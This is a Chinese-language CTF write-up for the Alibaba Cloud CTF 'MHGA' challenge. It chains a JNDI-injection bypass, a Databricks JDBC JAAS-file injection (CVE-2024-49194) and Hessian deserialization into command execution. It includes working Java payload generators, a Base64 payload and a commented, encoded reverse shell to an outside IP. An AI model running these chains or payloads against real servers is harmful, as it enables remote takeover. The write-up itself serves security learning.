2026-阿里云CTF-MHGA

标签: JNDI

涉及知识点: jndi注入bypass、jdbc、hessian反序列化

先复习一下jndi注入bypass原理

JNDI注入bypas原理复习

调试jdk版本8u201和8u65,利用经典的BeanFactory+ELProcessor跟一下流程

从这里开始分析,此时的调用栈如下

c_lookup:1022, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDIbypassClient

这里的decodeObject 会反序列化远程的序列化数据

这里对比一下高低版本的区别,高版本在getObjectFactoryFromReference 下是没法儿获取到远程类的

因为trustURLCodebase 默认为false

但是低版本没有这个限制

低版本获取到远程类之后这里就直接实例化触发了(这里类名不一样是因为调了很多次分开截图的。。。)

这里弄清楚了高版本的限制,继续回到上面,decodeObject 解析完之后会调用DirectoryManager.getObjectInstance ,并且第一个参数就是decodeObject 解析完的参数

跟进该方法

从远程获取类失败factory为空后漏洞利用流程就差不多结束了,但是这里如果factory不为空,而是调用任意类的getObjectInstance 方法是不是就还有戏?答案是肯定的,利用tomcat bypass调试看看

这里会加载BeanFactory 这个类,即下面这段代码实现的

这里获取完之后返回了该类的实例,具体的加载方法如下,是从本地Class.forName拿到的

老版本之前是从远程加载的

所以这里利用方式就变了,从而造成绕过,下面就是调用BeanFactory 的getObjectInstance 方法进行rce利用

所以高版本jndi注入bypass方式就是这样,那么寻找绕过满足下面两个条件就行

  • 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为 javax.naming.spi.NamingManager#getObjectFactoryFromReference 方法,在返回时做了 ObjectFactory 类型的强转
  • 即return (clas != null) ? (ObjectFactory) clas.newInstance() : null; 这段代码不能报错,否则就无法返回factory,进而无法调用任意类的getObjectInstance() 方法了
  • 该工厂类至少存在一个 getObjectInstance() 方法,从工厂中获得实例

🎃 所以总结就是老版本jdk可以直接远程类加载然后实例化rce,新版本由于加了一个判断,其中trustURLCodebase 默认为false,所以无法加载远程类,通过加载本地类调用其getObjectInstance 方法进行rce利用

本题就是找到一个新的工厂类进行绕过

题目分析

ViburDBCPObjectFactory-JDBC

前面分析了jndi注入到bypass所以这方面就不赘述了,直接来到ViburDBCPObjectFactory 这个类下

这里start方法中会发起jdbc连接,且参数可控,最终会调用到connect 发起连接

调用栈如下,具体细节可以自己打个断点调一下,这里就不逐步看了

connect:72, Connector$Builder$Driver (org.vibur.dbcp.pool)
create:83, ConnectionFactory (org.vibur.dbcp.pool)
create:73, ConnectionFactory (org.vibur.dbcp.pool)
create:51, ConnectionFactory (org.vibur.dbcp.pool)
addInitialObjects:140, ConcurrentPool (org.vibur.objectpool)
<init>:133, ConcurrentPool (org.vibur.objectpool)
doStart:279, ViburDBCPDataSource (org.vibur.dbcp)
start:240, ViburDBCPDataSource (org.vibur.dbcp)
getObjectInstance:49, ViburDBCPObjectFactory (org.vibur.dbcp)
getObjectInstance:193, DirectoryManager (javax.naming.spi)
c_lookup:1114, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:220, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:409, InitialContext (javax.naming)
lambda$main$0:17, Web (challenge)
handle:-1, 1296064247 (challenge.Web$$Lambda$3)
doFilter:77, Filter$Chain (com.sun.net.httpserver)
doFilter:82, AuthFilter (sun.net.httpserver)
doFilter:80, Filter$Chain (com.sun.net.httpserver)
handle:848, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:77, Filter$Chain (com.sun.net.httpserver)
run:817, ServerImpl$Exchange (sun.net.httpserver)
execute:201, ServerImpl$DefaultExecutor (sun.net.httpserver)
handle:560, ServerImpl$Dispatcher (sun.net.httpserver)
run:525, ServerImpl$Dispatcher (sun.net.httpserver)
run:829, Thread (java.lang)

然后接上另外一个漏洞

CVE-2024-49194 Databricks JDBC 驱动 JNDI 注入

这里从jdbc转为jndi注入,单独分析一下这个洞


import java.sql.DriverManager;
import java.sql.SQLException;

public class Test {
    public static void main(String[] args) throws SQLException {
        String jdbcUrl = "jdbc:databricks://localhost:443/default;transportMode=http;\n" +
                "ssl=1;httpPath=/sql/1.0/endpoints/12345;\n" +
                "AuthMech=1;krbHostFQDN=localhost;\n" +
                "krbServiceName=spark;krbJAASFile=http://127.0.0.1:8888/jaas.conf";
        DriverManager.getConnection(jdbcUrl);
    }
}

用python启个web服务确保上面能拿到值,jaas.conf配置如下

Client {
   com.sun.security.auth.module.JndiLoginModule required
   user.provider.url="ldap://localhost:1389/test"
   group.provider.url="test"
   tryFirstPass="true";
};

通过传入的URL选择对应的jdbc驱动,这里关注jaas.conf获取流程,调试databricks-jdbc-2.6.38这个jar由于行号不匹配问题无法断点,可以利用killer大哥工具https://github.com/cwkiller/ClassLinefix 进行修复解决,然后即可正常调试,直接下载源码不知道为啥没成功

在如下位置获取krbJAASFile 的值,然后put到m_definedSettings 中

然后走到下面这里,调用createClient传入this.m_settings 里面就包括http地址

继续跟进这里会判断m_transportMode是否为HTTP,这个就是一开始传到http

然后继续往下进入到getSubjectViaJAASConfig 设置AUTH_LOGIN_CONFIG 值为我们定义的http地址

然后来到如下位置,这里会反射实例化sun.security.provider.ConfigFile 这个类

跟进这个类,在如下位置获取到远程地址

继续跟进,读取数据

然后在parseLoginEntry 中做解析,获取到jaas.conf的值进行赋值

解析到JndiLoginModule及jndi地址

后续一系列反射调用到JndiLoginModule下的login方法

来到login 方法

跟进到attemptAuthentication 方法,在如下位置发起了lookup请求,造成了jndi注入

整个调用过程比较复杂,感兴趣可以自己调试,这里给的过程不是很细

HessianProxyFactory 反序列化

然后就是jdbc又转为了jndi注入,这里涉及到最终利用的sink点,在HessianProxyFactory 下的getObjectInstance 方法下里面调用了create方法,一直跟进到该方法如下,这里会创建一个HessianProxy 动态代理对象

而动态代理调用任何方法都会来到invoke方即com.caucho.hessian.client.HessianProxy#invoke 然后这里会向Reference 配置的url地址发起请求拿到code,这里code为72即H时进入后续流程,都是hessian反序列化的一些格式

然后获取一些值后调用其readReply 方法

然后tag 为82即R时调用readOject方法,然后就是hessian反序列化的流程了

这里一开始没选择直接打这个jndi的原因是因为调用到invoke方法需要调用任意一个方法才能调用到,但是题目中直接lookup后没有调用任何方法,所以需要借助,如下位置的search 方法调用到invoke方法

因为lookup后有强转所以Reference 需要做如下设置

Reference ref = new Reference("javax.naming.directory.DirContext", "com.caucho.hessian.client.HessianProxyFactory", null);

// HessianProxyFactory properties
ref.add(new StringRefAddr("type", "javax.naming.directory.DirContext"));
ref.add(new StringRefAddr("url", payloadUrl));

trustSerialData 绕过

然后就是高版本jdk比如21都不允许直接反序列化了,这里可以直接看官方wp都解释

也就是如下位置decodeObject的时候有个判断

而这个值默认为false

在jdk11.0.29是也已经修复了,所以没法直接打反序列化,然后因为是高版本hessian命令执行需要绕过一下可以利用UnixPrintService方法,参考https://github.com/nbxiglk0/Bookmarks/blob/main/Magic In Java Api.pdf进行绕过,可以参考su wp的代码。调用链如下

Hessian2.readObject
    POJONode.toString
        UnixPrintService.getter
package com.chenxun.ctf;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.chenxun.Util.SerializeTools;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class test {

    // 目标文件路径
//    private static final String cmd = ";touch /tmp/pwnnnnn";
//    private static final String cmd = "; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMjMuMTA5LjQ5LjUxLzk5OTkgMD4mMQ== | base64 -d | bash; echo";

    public static void main(String[] args) throws Exception {
        String cmd = ";open -a calculator";

        Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
        Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Object unsafe = unsafeField.get(null);
        Method allocateInstance = unsafeClass.getMethod("allocateInstance", Class.class);

// 3. 实例化 UnixPrintService (替换之前的 Proxy)
// 这个类在 PrintServiceLookupProvider 中被广泛使用,是合法的 PrintService 实现
        Class<?> unixPrintServiceClass = Class.forName("sun.print.UnixPrintService");
        Object service = allocateInstance.invoke(unsafe, unixPrintServiceClass);

        SerializeTools.setFieldValue(service, "printer", cmd);
        SerializeTools.setFieldValue(service, "isInvalid", false);
        SerializeTools.setFieldValue(service, "lpcStatusCom", new String[]{"", "", "", ""});
        SerializeTools.setFieldValue(service, "lpcQueueCom", new String[]{"", "", "", ""});

        // 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
        ctClass0.removeMethod(writeReplace);
        ctClass0.toClass();

        POJONode pojoNode = new POJONode(service);

        //
        // ---------------------------------------------------------
        // 5. Hessian2 序列化 (关键修复部分)
        // ---------------------------------------------------------
        byte[] payload = Hessian2_serialize(pojoNode);

        String base64Payload = Base64.getEncoder().encodeToString(payload);
        System.out.println("----- Payload (Base64) -----");
        System.out.println(base64Payload);
        System.out.println("----------------------------");

        Hessian2_Deserial("SAIAUkNDMCxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZZEGX3ZhbHVlYEMac3VuLnByaW50LlVuaXhQcmludFNlcnZpY2WVB3ByaW50ZXIJaXNJbnZhbGlkDGxwY1N0YXR1c0NvbQtscGNRdWV1ZUNvbQRuYW1lYRM7b3BlbiAtYSBjYWxjdWxhdG9yRnQHW3N0cmluZwAAAAB0kAAAAABO");

//        Hessian2_Deserial(data);
    }

    public static byte[] Hessian2_serialize(Object o) throws IOException {
        SerializerFactory factory = new SerializerFactory();
        factory.setAllowNonSerializable(true);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        baos.write('H');  // Hessian 2.0 call header
        baos.write(0x02); // major version
        baos.write(0x00); // minor version
        baos.write('R');  // Reply marker
        baos.write(67);
        hessian2Output.setSerializerFactory(factory);
        hessian2Output.writeObject(o);
        hessian2Output.flush();
        return baos.toByteArray();
    }

    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);

// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
        member.setAccessible(true);
    }

    public static byte[] Hessian2_Serial(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.writeObject(o);
        hessian2Output.flushBuffer();
        return baos.toByteArray();
    }

    public static Object Hessian2_Deserial(String data) throws IOException {
        byte[] bytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(bais);
        Object o = hessian2Input.readObject();
        return o;
    }

}

上面的脚本有点问题

修复版

package org.example;

import com.caucho.hessian.io.*;

//import com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.atomic.AtomicReference;

public class ExploitGenerator {
    private static final String cmd = "; echo dG91Y2ggL3RtcC9wd25lZA== | base64 -d | bash; echo";

    public static void main(String[] args) throws Exception {

        Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
        Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Object unsafe = unsafeField.get(null);
        Method allocateInstance = unsafeClass.getMethod("allocateInstance", Class.class);

        Class<?> unixPrintServiceClass = Class.forName("sun.print.UnixPrintService");
        Object service = allocateInstance.invoke(unsafe, unixPrintServiceClass);

        setFieldValue(service, "printer", cmd);
        setFieldValue(service, "isInvalid", false);
        setFieldValue(service, "lpcStatusCom", new String[]{"", "", "", ""});
        setFieldValue(service, "lpcQueueCom", new String[]{"", "", "", ""});

        POJONode pojoNode = new POJONode(service);

        byte[] payload = Hessian2_serialize2(pojoNode);

        // 5. 输出 Base64
        String base64Payload = Base64.getEncoder().encodeToString(payload);
        System.out.println("----- Payload (Base64) -----");
        System.out.println(base64Payload);
        System.out.println("----------------------------");
    }

    /**
     * 使用 Hessian2 协议序列化对象
     */
    public static byte[] Hessian2_serialize2(Object o) throws IOException {
        SerializerFactory factory = new SerializerFactory();
        factory.setAllowNonSerializable(true);
       
        // 强制 POJONode 使用 UnsafeSerializer,防止返回MapDeserializer
        factory.addFactory(new AbstractSerializerFactory() {
            @Override
            public Serializer getSerializer(Class cl) throws HessianProtocolException {
                // 匹配类名,如果是 POJONode,就强制用 UnsafeSerializer
                if (cl.getName().contains("POJONode")) {
                    return new UnsafeSerializer(cl);
                }
                return null; // 其他类使用默认序列化器
            }

            @Override
            public Deserializer getDeserializer(Class cl) throws HessianProtocolException {
                return null;
            }
        });

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);

        // 写入之前那个 Payload 特有的 Header (如果是为了匹配之前的格式)
        baos.write('H');
        baos.write(0x02);
        baos.write(0x00);
        baos.write('R');
        baos.write(67); // 'C'

        hessian2Output.setSerializerFactory(factory);

        // 注意:因为手动写入了 Header,这里要小心 hessian2Output 是否会再次写入 Header
        // 通常如果手动写了信封,下面直接写对象即可
        hessian2Output.writeObject(o);

        hessian2Output.flush();
        return baos.toByteArray();
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

可解决对象为hashmap的问题

原因就是以下位置不强制限制的话会获取到MapDeserializer

然后直接打即可jndimap启动一下

java11 -jar JNDIMap-fixed.jar -i 192.168.124.16

请求后利用成功,实际解题改为反弹shell payload即可

参考

https://xz.aliyun.com/news/91567

https://www.cnblogs.com/LINGX5/p/18780870

https://su-team.cn/post/alictf-su-2026-wu/

https://mp.weixin.qq.com/s/UdKf8PhTlXuWwfBDQXDGuA

https://github.com/nbxiglk0/Bookmarks/blob/main/Magic In Java Api.pdf